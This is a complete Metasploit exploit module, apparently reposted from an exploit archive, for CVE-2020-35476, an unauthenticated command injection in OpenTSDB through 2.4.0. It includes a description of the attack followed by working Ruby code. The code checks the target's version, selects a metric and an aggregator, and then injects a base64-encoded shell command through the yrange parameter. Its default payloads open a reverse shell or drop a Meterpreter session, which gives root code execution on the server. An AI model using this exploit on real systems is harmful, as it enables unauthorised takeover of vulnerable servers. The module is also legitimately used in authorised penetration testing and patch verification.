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This Metasploit module exploits an unauthenticated command injection vulnerability in the yrange parameter in OpenTSDB through 2.4.0 (CVE-2020-35476) in order to achieve unauthenticated remote code execution as the root user. The module first attempts to obtain the OpenTSDB version via the api. If the version is 2.4.0 or lower, the module performs additional checks to obtain the configured metrics and aggregators. It then randomly selects one metric and one aggregator and uses those to instruct the target server to plot a graph. As part of this request, the yrange parameter is set to the payload, which will then be executed by the target if the latter is vulnerable. This module has been successfully tested against OpenTSDB version 2.3.0. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'OpenTSDB 2.4.0 unauthenticated command injection', 'Description' => %q{ This module exploits an unauthenticated command injection vulnerability in the yrange parameter in OpenTSDB through 2.4.0 (CVE-2020-35476) in order to achieve unauthenticated remote code execution as the root user. The module first attempts to obtain the OpenTSDB version via the api. If the version is 2.4.0 or lower, the module performs additional checks to obtain the configured metrics and aggregators. It then randomly selects one metric and one aggregator and uses those to instruct the target server to plot a graph. As part of this request, the yrange parameter is set to the payload, which will then be executed by the target if the latter is vulnerable. This module has been successfully tested against OpenTSDB version 2.3.0. }, 'License' => MSF_LICENSE, 'Author' => [ 'Shai rod', # @nightrang3r - discovery and PoC 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['CVE', '2020-35476'], ['URL', 'https://github.com/OpenTSDB/opentsdb/issues/2051'] # disclosure and PoC ], 'DefaultOptions' => { 'RPORT' => 4242 }, 'Platform' => %w[unix linux], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'CmdStagerFlavor' => %w[bourne curl wget], 'Targets' => [ [ 'Automatic (Unix In-Memory)', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' }, 'Type' => :unix_memory } ], [ 'Automatic (Linux Dropper)', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }, 'Type' => :linux_dropper } ] ], 'Privileged' => true, 'DisclosureDate' => '2020-11-18', 'DefaultTarget' => 1, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('TARGETURI', [true, 'The base path to OpenTSDB', '/']), ] end def check # sanity check to see if the target is likely OpenTSDB res1 = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) }) unless res1 return CheckCode::Unknown('Connection failed.') end unless res1.code == 200 && res1.get_html_document.xpath('//title').text.include?('OpenTSDB') return CheckCode::Safe('Target is not an OpenTSDB application.') end # get the version via the api res2 = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'version') }) unless res2 return CheckCode::Unknown('Connection failed.') end unless res2.code == 200 && res2.body.include?('version') return CheckCode::Detected('Target may be OpenTSDB but the version could not be determined.') end begin parsed_res_body = JSON.parse(res2.body) rescue JSON::ParserError return CheckCode::Detected('Could not determine the OpenTSDB version: the HTTP response body did not match the expected JSON format.') end unless parsed_res_body.is_a?(Hash) && parsed_res_body.key?('version') return CheckCode::Detected('Could not determine the OpenTSDB version: the HTTP response body did not match the expected JSON format.') end version = parsed_res_body['version'] begin if Rex::Version.new(version) <= Rex::Version.new('2.4.0') return CheckCode::Appears("The target is OpenTSDB version #{version}") else return CheckCode::Safe("The target is OpenTSDB version #{version}") end rescue ArgumentError => e return CheckCode::Unknown("Failed to obtain a valid OpenTSDB version: #{e}") end end def select_metric # check if any metrics have been configured. if not, exploitation cannot work res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'suggest'), 'vars_get' => { 'type' => 'metrics' } }) unless res fail_with(Failure::Unknown, 'Connection failed.') end unless res.code == 200 fail_with(Failure::UnexpectedReply, "Received unexpected status code #{res.code} when checking the configured metrics") end begin metrics = JSON.parse(res.body) rescue JSON::ParserError fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured metrics: The response body did not contain valid JSON.') end unless metrics.is_a?(Array) fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured metrics: The response body did not contain a JSON array') end if metrics.empty? fail_with(Failure::NoTarget, 'Failed to identify any configured metrics. This makes exploitation impossible') end # select a random metric since any will do @metric = metrics.sample print_status("Identified #{metrics.length} configured metrics. Using metric #{@metric}") end def select_aggregator # check the configured aggregators and select one at random res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'aggregators') }) unless res fail_with(Failure::Unknown, 'Connection failed.') end unless res.code == 200 fail_with(Failure::UnexpectedReply, "Received unexpected status code #{res.code} when checking the configured aggregators") end begin aggregators = JSON.parse(res.body) rescue JSON::ParserError fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured aggregators: The response body did not contain valid JSON.') end unless aggregators.is_a?(Array) fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured aggregators: The response body did not contain a JSON array') end if aggregators.empty? fail_with(Failure::NoTarget, 'Failed to identify any configured aggregators. This makes exploitation impossible') end # select a random aggregator since any will do @aggregator = aggregators.sample print_status("Identified #{aggregators.length} configured aggregators. Using aggregator #{@aggregator}") end def execute_command(cmd, _opts = {}) # use base64 to avoid special char escape hell (specifying BadChars did not help) cmd = "'echo #{Base64.strict_encode64(cmd)} | base64 -d | /bin/sh'" start_time = rand(20.year.ago..10.year.ago) # this should be a date far enough in the past to make sure we capture all possible data start_value = start_time.strftime('%Y/%m/%d-%H:%M:%S') end_time = rand(1.year.since..10.year.since) # this can be a date in the future to make sure we capture all possible data end_value = end_time.strftime('%Y/%m/%d-%H:%M:%S') get_vars = { 'start' => start_value, 'end' => end_value, 'm' => "#{@aggregator}:#{@metric}", 'yrange' => "[1:system(#{Rex::Text.uri_encode(cmd)})]", 'wxh' => "#{rand(800..1600)}x#{rand(400..600)}", 'style' => 'linespoint' } exploit_uri = '?' get_vars.each do |key, value| exploit_uri += "#{key}=#{value}&" end exploit_uri += 'json' # using a raw request because cgi was leading to encoding issues send_request_raw({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'q' + exploit_uri) }, 0) # we don't have to wait for a reply here end def exploit select_metric select_aggregator if target.arch.first == ARCH_CMD print_status('Executing the payload') execute_command(payload.encoded) else execute_cmdstager(background: true) end end end # 0day.today [2022-12-25] # Source